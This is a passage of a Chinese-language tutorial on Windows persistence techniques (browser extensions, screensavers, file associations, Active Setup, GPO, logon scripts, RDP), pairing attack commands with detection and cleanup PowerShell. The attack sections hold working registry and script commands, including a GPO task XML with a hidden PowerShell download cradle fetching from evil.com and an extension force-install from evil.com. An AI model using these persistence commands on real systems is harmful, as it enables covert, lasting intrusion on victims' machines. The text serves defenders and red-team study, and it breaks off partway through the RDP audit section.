浏览器扩展拥有对网页内容的完全访问权限,可以:

监控所有网页活动:包括 HTTPS 站点的明文内容

窃取登录凭据:拦截表单提交

注入恶意 JavaScript:篡改网页内容(银行木马常用手法)

读取 Cookie 和 Session:劫持已登录的会话

下载文件:静默下载恶意软件

为什么浏览器扩展持久化特别危险

浏览器是用户使用频率最高的应用

扩展可以访问所有 HTTPS 流量的明文(突破 TLS 加密)

恶意扩展可以通过策略强制安装,用户无法卸载

企业环境中的组策略推送扩展很难被质疑

6.2 浏览器扩展存储位置

Google Chrome

1
2
用户扩展: %LocalAppData%\Google\Chrome\User Data\Default\Extensions\
策略扩展: %LocalAppData%\Google\Chrome\User Data\Default\External Extensions\

Microsoft Edge(Chromium)

1
用户扩展: %LocalAppData%\Microsoft\Edge\User Data\Default\Extensions\

Mozilla Firefox

1
用户扩展: %AppData%\Mozilla\Firefox\Profiles\*.default-release\extensions\

扩展目录结构

每个扩展有唯一 ID(32 字符字母串,如 aapbdbdomjkkjkaonfhkkikfgjllcleb

每个 ID 目录下按版本号分子目录

核心文件:manifest.json(声明权限和入口点)

6.3 强制安装扩展(策略部署)

Chrome 强制安装注册表

1
2
HKLM\SOFTWARE\Policies\Google\Chrome\ExtensionInstallForcelist
HKCU\SOFTWARE\Policies\Google\Chrome\ExtensionInstallForcelist

Edge 强制安装注册表

1
2
HKLM\SOFTWARE\Policies\Microsoft\Edge\ExtensionInstallForcelist
HKCU\SOFTWARE\Policies\Microsoft\Edge\ExtensionInstallForcelist

值格式:<ExtensionID>;https://clients2.google.com/service/update2/crx

攻击者利用方式

创建恶意扩展并上传到自控服务器

通过注册表或 GPO 强制安装到所有用户

用户在扩展管理页面看到 “由贵单位管理” 标识,无法手动卸载

攻击示例

1
2
3
4
# 通过注册表强制安装 Chrome 扩展
$regPath = "HKLM:\SOFTWARE\Policies\Google\Chrome\ExtensionInstallForcelist"
if (-not (Test-Path $regPath)) { New-Item -Path $regPath -Force }
Set-ItemProperty -Path $regPath -Name "1" -Value "abcdefghijklmnopabcdefghijklmnop;https://evil.com/update.xml"

6.4 检测方法

列出所有已安装的 Chrome 扩展

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
Write-Host "`n[Chrome 扩展列表]" -ForegroundColor Cyan
$chromePath = "$env:LocalAppData\Google\Chrome\User Data\Default\Extensions"
if (Test-Path $chromePath) {
Get-ChildItem $chromePath -Directory | ForEach-Object {
$extId = $_.Name
$manifestFiles = Get-ChildItem $_.FullName -Recurse -Filter "manifest.json" | Select-Object -First 1
if ($manifestFiles) {
$manifest = Get-Content $manifestFiles.FullName -Raw | ConvertFrom-Json
$permissions = ($manifest.permissions -join ", ")
Write-Host " ID: $extId" -ForegroundColor White
Write-Host " Name: $($manifest.name)"
Write-Host " Version: $($manifest.version)"
Write-Host " Permissions: $permissions"
# 高危权限标记
$dangerous = @("<all_urls>", "webRequest", "webRequestBlocking", "nativeMessaging", "debugger")
$found = $manifest.permissions | Where-Object { $_ -in $dangerous }
if ($found) {
Write-Host " [!] 高危权限: $($found -join ', ')" -ForegroundColor Red
}
}
}
}

检查强制安装策略

1
2
3
4
5
6
7
8
9
10
11
12
13
# 检查 Chrome 和 Edge 的强制安装扩展
$forcePaths = @(
"HKLM:\SOFTWARE\Policies\Google\Chrome\ExtensionInstallForcelist",
"HKCU:\SOFTWARE\Policies\Google\Chrome\ExtensionInstallForcelist",
"HKLM:\SOFTWARE\Policies\Microsoft\Edge\ExtensionInstallForcelist",
"HKCU:\SOFTWARE\Policies\Microsoft\Edge\ExtensionInstallForcelist"
)
foreach ($fp in $forcePaths) {
if (Test-Path $fp) {
Write-Host "`n[$fp]" -ForegroundColor Cyan
Get-ItemProperty $fp | Select-Object * -ExcludeProperty PS* | Format-List
}
}

检查 Firefox 扩展

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Write-Host "`n[Firefox 扩展]" -ForegroundColor Cyan
$profiles = Get-ChildItem "$env:APPDATA\Mozilla\Firefox\Profiles\*.default*" -Directory -ErrorAction SilentlyContinue
foreach ($profile in $profiles) {
$extDir = Join-Path $profile.FullName "extensions"
if (Test-Path $extDir) {
Write-Host " Profile: $($profile.Name)" -ForegroundColor White
Get-ChildItem $extDir | ForEach-Object {
Write-Host " $($_.Name) | $($_.LastWriteTime)"
}
}
# 检查 extensions.json
$extJson = Join-Path $profile.FullName "extensions.json"
if (Test-Path $extJson) {
$data = Get-Content $extJson -Raw | ConvertFrom-Json
$data.addons | Where-Object { $_.type -eq "extension" } | ForEach-Object {
Write-Host " $($_.defaultLocale.name) [$($_.id)] ver:$($_.version)" -ForegroundColor Gray
}
}
}

6.5 清除方法

删除恶意扩展目录

1
2
3
4
5
6
7
# 先关闭浏览器
Stop-Process -Name chrome -Force -ErrorAction SilentlyContinue
Stop-Process -Name msedge -Force -ErrorAction SilentlyContinue

# 删除指定扩展
$malExtId = "abcdefghijklmnopabcdefghijklmnop"
Remove-Item "$env:LocalAppData\Google\Chrome\User Data\Default\Extensions\$malExtId" -Recurse -Force

移除强制安装策略

1
Remove-Item "HKLM:\SOFTWARE\Policies\Google\Chrome\ExtensionInstallForcelist" -Recurse -Force

Firefox:通过 about:addons 页面卸载,或删除 extensions 目录中的 .xpi 文件

七、屏幕保护程序持久化 (T1546.002)

7.1 原理详解

屏幕保护程序(Screensaver) 本质上就是 .exe 可执行文件,只是扩展名改为 .scr

Windows 在用户空闲指定时间后自动运行屏幕保护程序

相关注册表(每用户配置):

1
2
3
4
HKCU\Control Panel\Desktop\SCRNSAVE.EXE     — 屏幕保护程序路径
HKCU\Control Panel\Desktop\ScreenSaveActive1=启用, 0=禁用
HKCU\Control Panel\Desktop\ScreenSaveTimeOut — 空闲超时秒数
HKCU\Control Panel\Desktop\ScreenSaverIsSecure1=恢复时需要密码

为什么能被滥用

.scr 文件就是 .exe,可以执行任意代码

用户离开电脑后自动触发,不需要任何交互

以当前用户权限运行,不需要管理员权限配置(HKCU)

合法的屏幕保护设置不会引起怀疑

如果设置的超时时间很短(如 60 秒),触发频率极高

7.2 攻击实现

直接替换屏幕保护程序

1
2
3
4
5
6
7
# 将恶意程序复制为 .scr 并设为屏幕保护
Copy-Item "C:\Temp\beacon.exe" "C:\Users\Public\Photos\slideshow.scr"

# 设置注册表
reg add "HKCU\Control Panel\Desktop" /v SCRNSAVE.EXE /t REG_SZ /d "C:\Users\Public\Photos\slideshow.scr" /f
reg add "HKCU\Control Panel\Desktop" /v ScreenSaveActive /t REG_SZ /d "1" /f
reg add "HKCU\Control Panel\Desktop" /v ScreenSaveTimeOut /t REG_SZ /d "60" /f

更隐蔽的方式 —— 包装器

1
2
3
# 创建一个 .scr 包装器,先执行恶意代码再显示正常屏保
# 或将恶意代码注入到系统自带的屏保中
# 系统自带屏保位置:C:\Windows\System32\*.scr

红队工具

SharPersist: SharPersist.exe -t screensaver -c "C:\evil.scr" -o add

7.3 检测方法

检查屏幕保护配置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
Write-Host "`n[屏幕保护程序配置]" -ForegroundColor Cyan
$desktop = "HKCU:\Control Panel\Desktop"
$scr = (Get-ItemProperty $desktop -Name "SCRNSAVE.EXE" -ErrorAction SilentlyContinue)."SCRNSAVE.EXE"
$active = (Get-ItemProperty $desktop -Name "ScreenSaveActive" -ErrorAction SilentlyContinue).ScreenSaveActive
$timeout = (Get-ItemProperty $desktop -Name "ScreenSaveTimeOut" -ErrorAction SilentlyContinue).ScreenSaveTimeOut

Write-Host " SCRNSAVE.EXE: $scr"
Write-Host " ScreenSaveActive: $active"
Write-Host " ScreenSaveTimeOut: $timeout 秒"

if ($scr) {
# 验证文件签名
if (Test-Path $scr) {
$sig = Get-AuthenticodeSignature $scr
$color = if ($sig.Status -eq "Valid") { "Green" } else { "Red" }
Write-Host " 签名状态: $($sig.Status)" -ForegroundColor $color

# 检查文件位置是否异常
if ($scr -notmatch "^C:\\Windows\\System32\\") {
Write-Host " [!] 屏保文件不在 System32 目录!" -ForegroundColor Red
}
} else {
Write-Host " [!] 屏保文件不存在: $scr" -ForegroundColor Yellow
}
}

检查所有用户的屏保配置

1
2
3
4
5
6
7
8
9
10
11
12
# 需要管理员权限,加载其他用户的注册表配置单元
$userProfiles = Get-ChildItem "C:\Users" -Directory | Where-Object { $_.Name -notin @("Public", "Default", "Default User") }
foreach ($user in $userProfiles) {
$ntUser = Join-Path $user.FullName "NTUSER.DAT"
if (Test-Path $ntUser) {
$tempKey = "HKU\TempLoad_$($user.Name)"
reg load $tempKey $ntUser 2>$null
$scr = reg query "$tempKey\Control Panel\Desktop" /v SCRNSAVE.EXE 2>$null
if ($scr) { Write-Host " User: $($user.Name) -> $scr" -ForegroundColor Yellow }
reg unload $tempKey 2>$null
}
}

7.4 清除方法

恢复默认或禁用屏保

1
2
3
4
5
# 删除恶意屏保配置
reg delete "HKCU\Control Panel\Desktop" /v SCRNSAVE.EXE /f

# 或恢复为系统默认屏保
reg add "HKCU\Control Panel\Desktop" /v SCRNSAVE.EXE /t REG_SZ /d "C:\Windows\System32\scrnsave.scr" /f

删除恶意 .scr 文件

1
Remove-Item "C:\Users\Public\Photos\slideshow.scr" -Force

八、文件关联劫持 (T1546.001)

8.1 原理详解

Windows 使用 文件关联(File Association) 机制决定双击某类文件时使用哪个程序打开

文件关联信息存储在注册表中:

1
2
3
HKCU\SOFTWARE\Classes\.<ext>             — 文件扩展名 → 关联的 ProgID
HKCU\SOFTWARE\Classes\<ProgID>\shell\open\command — ProgID → 打开命令
HKCR\.<ext> — 系统级默认关联(HKLM + HKCU 合并视图)

关联查找顺序

  1. HKCU 中用户级关联(优先)
  2. HKLM 中系统级关联
  3. HKCR 是 HKLM 和 HKCU 的合并视图
    攻击原理

修改某文件类型的 shell\open\command,将默认值改为恶意程序路径

恶意程序接收原文件路径作为参数,执行恶意操作后再调用原始程序打开文件

用户看到文件正常打开了,不会察觉恶意程序已经在后台运行

8.2 攻击实现

劫持 .txt 文件关联

1
2
3
4
5
6
7
8
9
:: 查看当前 .txt 关联
assoc .txt
:: .txt=txtfile

ftype txtfile
:: txtfile=%SystemRoot%\system32\NOTEPAD.EXE %1

:: 劫持:先执行恶意程序,再打开记事本
reg add "HKCU\SOFTWARE\Classes\txtfile\shell\open\command" /ve /t REG_SZ /d "\"C:\ProgramData\updater.exe\" \"%%1\" && notepad.exe \"%%1\"" /f

劫持 .hta 文件关联(更隐蔽的常见目标)

1
2
3
# .hta 文件默认由 mshta.exe 处理
# 攻击者可以劫持为自己的 Loader
reg add "HKCU\SOFTWARE\Classes\htafile\shell\open\command" /ve /t REG_SZ /d "C:\ProgramData\loader.exe %1" /f

常见劫持目标文件类型

.txt — 记事本文件(打开频率高)

.hta — HTML Application(常用于初始入侵载荷)

.js / .vbs — 脚本文件

.ps1 — PowerShell 脚本

.lnk — 快捷方式(高级利用)

.doc / .xls — Office 文档

8.3 检测方法

检查常见文件类型关联

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
Write-Host "`n[文件关联检查]" -ForegroundColor Cyan
$checkExts = @(".txt", ".doc", ".xls", ".hta", ".js", ".vbs", ".ps1", ".bat", ".cmd", ".exe", ".com", ".scr")

foreach ($ext in $checkExts) {
# 检查 HKCU 中是否有用户级覆盖
$userClass = "HKCU:\SOFTWARE\Classes\$ext"
if (Test-Path $userClass) {
$progId = (Get-ItemProperty $userClass -ErrorAction SilentlyContinue).'(default)'
if ($progId) {
$cmdPath = "HKCU:\SOFTWARE\Classes\$progId\shell\open\command"
if (Test-Path $cmdPath) {
$cmd = (Get-ItemProperty $cmdPath).'(default)'
Write-Host " $ext -> $progId -> $cmd" -ForegroundColor Yellow
Write-Host " [!] 用户级关联覆盖(HKCU)" -ForegroundColor Red
}
}
}

# 显示系统级关联
$sysProgId = (Get-ItemProperty "Registry::HKCR\$ext" -ErrorAction SilentlyContinue).'(default)'
if ($sysProgId) {
$sysCmdPath = "Registry::HKCR\$sysProgId\shell\open\command"
if (Test-Path $sysCmdPath) {
$sysCmd = (Get-ItemProperty $sysCmdPath -ErrorAction SilentlyContinue).'(default)'
Write-Host " $ext -> $sysProgId -> $sysCmd" -ForegroundColor Gray
}
}
}

Sysmon 监控

Event ID 13:监控 HKCU\SOFTWARE\Classes\*\shell\open\command 的修改

8.4 清除方法

删除用户级关联覆盖

1
2
3
4
# 删除 HKCU 中的恶意关联(恢复使用系统默认)
Remove-Item "HKCU:\SOFTWARE\Classes\txtfile\shell\open\command" -Recurse -Force
# 或删除整个用户级 ProgID 覆盖
Remove-Item "HKCU:\SOFTWARE\Classes\txtfile" -Recurse -Force

恢复 .txt 的默认关联

1
ftype txtfile=%SystemRoot%\system32\NOTEPAD.EXE %1

九、Active Setup 持久化 (T1547.014)

9.1 原理详解

Active Setup 是 Windows 用来确保某些组件在每个用户首次登录时执行一次初始化的机制

注册表位置:

1
2
HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\{GUID}\
HKCU\SOFTWARE\Microsoft\Active Setup\Installed Components\{GUID}\

每个组件由一个 GUID 标识,包含以下关键值:

StubPath(REG_SZ):要执行的命令

Version(REG_SZ):版本号(如 “1,0,0,0”)

(Default)(REG_SZ):组件描述

工作原理

  1. 用户登录时,Windows 遍历 HKLM\...\Active Setup\Installed Components\ 下所有 GUID
  2. 对每个 GUID,比较 HKLM 和 HKCU 中的 Version
  3. 如果 HKCU 中不存在该 GUID,或版本号低于 HKLM → 执行 StubPath 中的命令
  4. 执行后,将 HKLM 的 GUID 和 Version 复制到 HKCU
  5. 下次登录时版本号一致,不再执行
    为什么被滥用

攻击者创建新 GUID → 所有用户登录时都会执行一次 StubPath

如果不断递增 Version 或删除 HKCU 中的对应项,可以实现持续执行

Active Setup 在用户登录的早期阶段运行,先于桌面显示

以当前登录用户的权限执行

合法的 Active Setup 示例

{89820200-ECBD-11cf-8B85-00AA005B4383} — Internet Explorer 初始配置

{2C7339CF-2B09-4501-B3F3-F3508C9228ED} — .NET Framework 安装

9.2 攻击实现

创建恶意 Active Setup 条目

1
2
3
4
5
6
7
8
# 使用随机 GUID 避免冲突
$guid = "{" + [guid]::NewGuid().ToString() + "}"
$regPath = "HKLM:\SOFTWARE\Microsoft\Active Setup\Installed Components\$guid"

New-Item -Path $regPath -Force
Set-ItemProperty -Path $regPath -Name "(Default)" -Value "System Component Update"
Set-ItemProperty -Path $regPath -Name "StubPath" -Value "C:\ProgramData\updater.exe"
Set-ItemProperty -Path $regPath -Name "Version" -Value "1,0,0,0"

持续执行变体 —— 删除 HKCU 版本

1
2
3
4
5
# 创建计划任务在每次登录时删除 HKCU 中的 Active Setup 版本记录
# 这样每次登录时 Active Setup 都会认为需要重新执行
$trigger = New-ScheduledTaskTrigger -AtLogOn
$action = New-ScheduledTaskAction -Execute "reg.exe" -Argument "delete `"HKCU\SOFTWARE\Microsoft\Active Setup\Installed Components\$guid`" /f"
Register-ScheduledTask -TaskName "ASReset" -Trigger $trigger -Action $action -RunLevel Highest

CMD 方式

1
2
reg add "HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\{12345678-1234-1234-1234-123456789012}" /v "StubPath" /t REG_SZ /d "cmd /c start /min C:\ProgramData\payload.exe" /f
reg add "HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\{12345678-1234-1234-1234-123456789012}" /v "Version" /t REG_SZ /d "1,0,0,0" /f

9.3 检测方法

列出所有 Active Setup 组件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
Write-Host "`n[Active Setup - HKLM Installed Components]" -ForegroundColor Cyan
$asPath = "HKLM:\SOFTWARE\Microsoft\Active Setup\Installed Components"
Get-ChildItem $asPath | ForEach-Object {
$props = Get-ItemProperty $_.PSPath
$stubPath = $props.StubPath
if ($stubPath) {
$name = $props.'(Default)'
$version = $props.Version
$color = "White"

# 检查 StubPath 是否指向可疑位置
if ($stubPath -match "(ProgramData|Temp|AppData|Users\\Public|\\\\)" -and $stubPath -notmatch "Microsoft|Windows") {
$color = "Red"
}

Write-Host " GUID: $($_.PSChildName)" -ForegroundColor $color
Write-Host " Name: $name"
Write-Host " StubPath: $stubPath"
Write-Host " Version: $version"
}
}

对比 HKLM 和 HKCU 的差异

1
2
3
4
5
6
7
8
9
10
11
12
# HKLM 中有但 HKCU 中没有的 = 下次登录时会执行
$hklmGuids = (Get-ChildItem "HKLM:\SOFTWARE\Microsoft\Active Setup\Installed Components").PSChildName
$hkcuGuids = (Get-ChildItem "HKCU:\SOFTWARE\Microsoft\Active Setup\Installed Components" -ErrorAction SilentlyContinue).PSChildName

$pending = $hklmGuids | Where-Object { $_ -notin $hkcuGuids }
if ($pending) {
Write-Host "`n[!] 以下 Active Setup 组件将在下次登录时执行:" -ForegroundColor Red
$pending | ForEach-Object {
$sp = (Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Active Setup\Installed Components\$_" -ErrorAction SilentlyContinue).StubPath
Write-Host " $_ -> $sp" -ForegroundColor Yellow
}
}

9.4 清除方法

删除恶意 Active Setup 条目

1
2
3
4
# 同时删除 HKLM 和 HKCU 中的条目
$malGuid = "{12345678-1234-1234-1234-123456789012}"
Remove-Item "HKLM:\SOFTWARE\Microsoft\Active Setup\Installed Components\$malGuid" -Recurse -Force
Remove-Item "HKCU:\SOFTWARE\Microsoft\Active Setup\Installed Components\$malGuid" -Recurse -Force -ErrorAction SilentlyContinue

删除恶意载荷文件

1
Remove-Item "C:\ProgramData\updater.exe" -Force

十、Group Policy (GPO) 持久化 (T1484)

10.1 原理详解

组策略(Group Policy) 是 Active Directory 域环境中最强大的配置管理工具

GPO 可以对域内所有计算机和用户应用策略,包括:

登录/启动脚本

计划任务(Immediate Task / Scheduled Task)

注册表修改

软件安装(MSI 包)

安全设置

GPO 存储位置:

1
2
域控 SYSVOL 共享: \\<domain>\SYSVOL\<domain>\Policies\{GUID}\
本地 GPO: C:\Windows\System32\GroupPolicy\

GPO 结构:

1
2
3
4
5
6
7
8
9
10
11
12
{GUID}\
├── Machine\ -- 计算机配置
│ ├── Scripts\ -- 启动/关机脚本
│ │ ├── Startup\
│ │ └── Shutdown\
│ └── Preferences\ -- 组策略首选项
├── User\ -- 用户配置
│ ├── Scripts\ -- 登录/注销脚本
│ │ ├── Logon\
│ │ └── Logoff\
│ └── Preferences\
└── GPT.INI -- 版本信息

为什么 GPO 持久化极其危险

一个恶意 GPO 可以同时影响域内所有计算机和用户

GPO 在系统启动和用户登录时自动应用,且定期刷新(默认 90 分钟)

攻击者如果拿到域管理员权限,可以创建隐蔽的 GPO 后门

清除单台机器上的持久化毫无意义,因为 GPO 会在下次刷新时重新应用

10.2 常见 GPO 持久化方式

方式一:登录/启动脚本

1
2
3
4
5
# 攻击者在 SYSVOL 中创建恶意脚本
# \\domain.com\SYSVOL\domain.com\Policies\{GUID}\User\Scripts\Logon\update.ps1

# 通过 GPO 编辑器配置:
# 用户配置 → 策略 → Windows 设置 → 脚本(登录/注销) → 登录

方式二:Immediate Scheduled Task(即时计划任务)

1
2
3
4
5
6
7
8
9
10
11
12
<!-- GPO Scheduled Task 配置(XML) -->
<!-- 位于: {GUID}\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml -->
<ImmediateTaskV2 name="SystemUpdate" ...>
<Properties action="C" runAs="NT AUTHORITY\SYSTEM" logonType="S4U">
<Task>
<Exec>
<Command>powershell.exe</Command>
<Arguments>-ep bypass -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://evil.com/s')"</Arguments>
</Exec>
</Task>
</Properties>
</ImmediateTaskV2>

方式三:注册表首选项(Registry Preferences)

通过 GPO 在目标机器上创建任意注册表值

可以利用此功能设置其他持久化机制(如 Run 键、COM 劫持等)

方式四:软件安装(MSI 部署)

通过 GPO 部署恶意 MSI 安装包

域内所有机器自动安装

10.3 检测方法

查看当前应用的 GPO

1
2
3
4
5
:: 查看当前机器应用的所有 GPO
gpresult /r

:: 详细报告(HTML 格式)
gpresult /h C:\Temp\gpo_report.html

检查 SYSVOL 中的脚本

1
2
3
4
5
6
7
8
9
# 列出域 SYSVOL 中所有 GPO 脚本
$domain = (Get-ADDomain).DNSRoot
$sysvolPath = "\\$domain\SYSVOL\$domain\Policies"

Write-Host "`n[SYSVOL GPO 脚本检查]" -ForegroundColor Cyan
Get-ChildItem $sysvolPath -Recurse -Include "*.ps1","*.bat","*.cmd","*.vbs","*.js" | ForEach-Object {
Write-Host " $($_.FullName)" -ForegroundColor Yellow
Write-Host " Size: $($_.Length) bytes | Modified: $($_.LastWriteTime)"
}

检查 GPO 计划任务配置

1
2
3
4
5
6
7
8
9
10
# 搜索 ScheduledTasks.xml
Get-ChildItem $sysvolPath -Recurse -Filter "ScheduledTasks.xml" | ForEach-Object {
Write-Host "`n[!] 发现 GPO 计划任务: $($_.FullName)" -ForegroundColor Red
[xml]$xml = Get-Content $_.FullName
$xml.ScheduledTasks.ImmediateTaskV2 | ForEach-Object {
Write-Host " Task: $($_.name)"
Write-Host " Command: $($_.Properties.Task.Exec.Command)"
Write-Host " Arguments: $($_.Properties.Task.Exec.Arguments)"
}
}

检查本地 GPO

1
2
3
4
5
6
7
8
9
10
11
12
# 检查本地组策略脚本
$localGPO = "C:\Windows\System32\GroupPolicy"
@("Machine\Scripts\Startup", "Machine\Scripts\Shutdown", "User\Scripts\Logon", "User\Scripts\Logoff") | ForEach-Object {
$scriptDir = Join-Path $localGPO $_
if (Test-Path $scriptDir) {
$scripts = Get-ChildItem $scriptDir -File
if ($scripts) {
Write-Host "`n[$_]" -ForegroundColor Yellow
$scripts | ForEach-Object { Write-Host " $($_.Name) | $($_.Length) bytes" }
}
}
}

Windows 事件日志

Event ID 4739(Security):域策略变更

Event ID 5136(Security):目录服务对象修改(GPO 变更审计)

Event ID 5137(Security):目录服务对象创建(新 GPO 创建)

10.4 清除方法

删除恶意 GPO

1
2
3
4
5
6
7
8
# 使用 PowerShell AD 模块
Import-Module GroupPolicy

# 列出所有 GPO
Get-GPO -All | Select-Object DisplayName, Id, CreationTime, ModificationTime | Format-Table

# 删除恶意 GPO
Remove-GPO -Name "Malicious GPO Name" -Confirm:$false

强制刷新客户端策略

1
2
:: 在受影响的客户端上强制刷新组策略
gpupdate /force

清理 SYSVOL 中的残留脚本:手动审查并删除恶意脚本文件

域控安全:如果攻击者能创建 GPO,说明已获取域管理员权限,需要进行全面的 AD 安全审计

关联:28-AD持久化-Golden-Silver-Ticket

十一、Logon Script 持久化 (T1037.001 / T1037.003)

11.1 原理详解

Windows 支持多种登录脚本机制,按优先级和作用范围:

方式一:UserInitMprLogonScript(本地用户登录脚本)

1
HKCU\Environment\UserInitMprLogonScript

类型:REG_SZ

在用户登录时由 userinit.exe 进程触发

早于桌面 Shell(explorer.exe)启动

以当前用户权限运行

极其隐蔽:很少被安全工具检查,不在 Autoruns 的默认视图中

方式二:AD 用户属性 scriptPath(域登录脚本)

在 Active Directory 用户对象的 scriptPath 属性中配置

脚本存放在 \\domain\NETLOGON\ 共享(实际是 SYSVOL 下的 Scripts 目录)

用户登录时自动执行

方式三:GPO 登录脚本

通过组策略配置(见上一节)

存放在 \\domain\SYSVOL\...\User\Scripts\Logon\

方式四:本地计算机策略登录脚本

1
2
C:\Windows\System32\GroupPolicy\User\Scripts\Logon\
配置文件: C:\Windows\System32\GroupPolicy\User\Scripts\scripts.ini

11.2 攻击实现

UserInitMprLogonScript(最常被红队使用)

1
2
# 设置登录脚本 —— 不需要管理员权限
reg add "HKCU\Environment" /v UserInitMprLogonScript /t REG_SZ /d "C:\Users\Public\update.bat" /f
1
2
3
:: update.bat 内容
@echo off
start /min /b powershell -ep bypass -w hidden -f C:\Users\Public\payload.ps1

修改 AD 用户 scriptPath

1
2
3
# 需要域管理员权限
Set-ADUser -Identity "targetuser" -ScriptPath "evil.bat"
# evil.bat 存放在 \\domain\NETLOGON\ 目录

利用本地组策略

1
2
3
4
5
6
7
8
9
10
11
12
13
# 将恶意脚本放入本地 GPO 登录脚本目录
Copy-Item "C:\Temp\evil.bat" "C:\Windows\System32\GroupPolicy\User\Scripts\Logon\evil.bat"

# 修改 scripts.ini 添加脚本引用
$ini = @"
[Logon]
0CmdLine=evil.bat
0Parameters=
"@
Set-Content "C:\Windows\System32\GroupPolicy\User\Scripts\scripts.ini" $ini

# 强制刷新
gpupdate /force

11.3 检测方法

检查 UserInitMprLogonScript

1
2
3
4
5
6
7
8
9
10
11
12
13
Write-Host "`n[UserInitMprLogonScript 检查]" -ForegroundColor Cyan

# 检查当前用户
$logonScript = (Get-ItemProperty "HKCU:\Environment" -Name "UserInitMprLogonScript" -ErrorAction SilentlyContinue).UserInitMprLogonScript
if ($logonScript) {
Write-Host " [!] 发现 UserInitMprLogonScript: $logonScript" -ForegroundColor Red
if (Test-Path $logonScript) {
Write-Host " 文件内容:" -ForegroundColor Yellow
Get-Content $logonScript | ForEach-Object { Write-Host " $_" }
}
} else {
Write-Host " (未设置)" -ForegroundColor Green
}

检查所有用户的 UserInitMprLogonScript

1
2
3
4
5
6
7
8
9
10
11
# 遍历 HKU(需要 PSDrive 映射)
New-PSDrive -Name HKU -PSProvider Registry -Root HKEY_USERS -ErrorAction SilentlyContinue | Out-Null
Get-ChildItem HKU: | ForEach-Object {
$envPath = Join-Path $_.PSPath "Environment"
if (Test-Path $envPath) {
$script = (Get-ItemProperty $envPath -Name "UserInitMprLogonScript" -ErrorAction SilentlyContinue).UserInitMprLogonScript
if ($script) {
Write-Host " [!] SID: $($_.PSChildName) -> $script" -ForegroundColor Red
}
}
}

检查 AD 用户 scriptPath

1
2
3
# 列出所有配置了登录脚本的域用户
Get-ADUser -Filter { ScriptPath -like "*" } -Properties ScriptPath |
Select-Object SamAccountName, ScriptPath | Format-Table -AutoSize

检查本地 GPO 登录脚本

1
2
3
4
5
$scriptsIni = "C:\Windows\System32\GroupPolicy\User\Scripts\scripts.ini"
if (Test-Path $scriptsIni) {
Write-Host "`n[本地 GPO 登录脚本]" -ForegroundColor Cyan
Get-Content $scriptsIni
}

11.4 清除方法

删除 UserInitMprLogonScript

1
reg delete "HKCU\Environment" /v UserInitMprLogonScript /f

清除 AD 用户 scriptPath

1
Set-ADUser -Identity "targetuser" -ScriptPath $null

清除本地 GPO 登录脚本

1
2
Remove-Item "C:\Windows\System32\GroupPolicy\User\Scripts\Logon\evil.bat" -Force
# 编辑 scripts.ini 移除恶意条目

十二、RDP 后门 (T1563.002 / T1021.001)

12.1 原理详解

RDP(Remote Desktop Protocol) 是 Windows 原生的远程桌面协议

攻击者不仅利用 RDP 进行横向移动,还可以通过多种方式将 RDP 本身改造为持久化后门

核心服务:TermService(Terminal Services)

核心 DLL:termsrv.dllC:\Windows\System32\termsrv.dll

监听端口:默认 TCP 3389

注册表根路径:

1
HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\

12.2 RDP Wrapper Library

原理:Windows 家庭版 / 非服务器版本不支持并发 RDP 会话

RDP Wrapper(GitHub: stascorp/rdpwrap)通过注入 termsrv.dll 的加载过程来启用:

多用户并发 RDP 会话

在 Windows Home 版本上启用 RDP

安装后会创建一个服务:RDPWInst

配置文件:C:\Program Files\RDP Wrapper\rdpwrap.ini

攻击利用

攻击者在目标机器上安装 RDP Wrapper,启用隐蔽的 RDP 访问

可以在受害者正在使用的同时远程登录,而受害者不会被踢出

检测

1
2
3
4
5
6
7
8
9
10
11
# 检查 RDP Wrapper 服务
Get-Service "RDPWInst" -ErrorAction SilentlyContinue | Select-Object Name, Status, StartType

# 检查 RDP Wrapper 文件
@("C:\Program Files\RDP Wrapper\rdpwrap.dll",
"C:\Program Files\RDP Wrapper\rdpwrap.ini",
"C:\Program Files\RDP Wrapper\RDPWInst.exe") | ForEach-Object {
if (Test-Path $_) {
Write-Host "[!] 发现 RDP Wrapper: $_" -ForegroundColor Red
}
}

12.3 termsrv.dll 补丁

原理:直接修补 termsrv.dll 中的并发会话限制检查

通过 Hex 编辑修改特定字节序列,绕过 Windows 对同时在线用户数的限制

检测

1
2
3
4
5
6
7
8
9
10
11
# 验证 termsrv.dll 的数字签名
$termsrv = "C:\Windows\System32\termsrv.dll"
$sig = Get-AuthenticodeSignature $termsrv
Write-Host "termsrv.dll 签名: $($sig.Status)" -ForegroundColor $(if ($sig.Status -eq "Valid") {"Green"} else {"Red"})

# 比较文件哈希与已知基线
$hash = (Get-FileHash $termsrv -Algorithm SHA256).Hash
Write-Host "SHA256: $hash"

# 检查文件是否被 WFP (Windows File Protection) 标记为修改
sfc /verifyonly 2>$null | Select-String "termsrv"

12.4 RDP 配置篡改

降低安全要求

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# 检查关键 RDP 安全配置
Write-Host "`n[RDP 安全配置审计]" -ForegroundColor Cyan
$tsPath = "HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server"

# fDenyTSConnections: 0=允许RDP, 1=禁止
$deny = (Get-ItemProperty $tsPath -Name "fDenyTSConnections" -ErrorAction SilentlyContinue).fDenyTSConnections
Write-Host " fDenyTSConnections: $deny $(if($deny -eq 0){'[RDP已启用]'}else{'[RDP已禁用]'})"

# UserAuthentication: 0=不要求NLA, 1=要求NLA
$nla = (Get-ItemProperty "$tsPath\WinStations\RDP-Tcp" -Name "UserAuthentication" -ErrorAction SilentlyContinue).UserAuthentication
Write-Host " NLA (UserAuthentication): $nla $(if($nla -eq 0){'[!] NLA已禁用'}else{'[NLA已启用]'})" -ForegroundColor $(if($nla -eq 0){"Red"}else{"Green"})

# SecurityLayer: 0=RDP(不安全), 1=Negotiate, 2=TLS
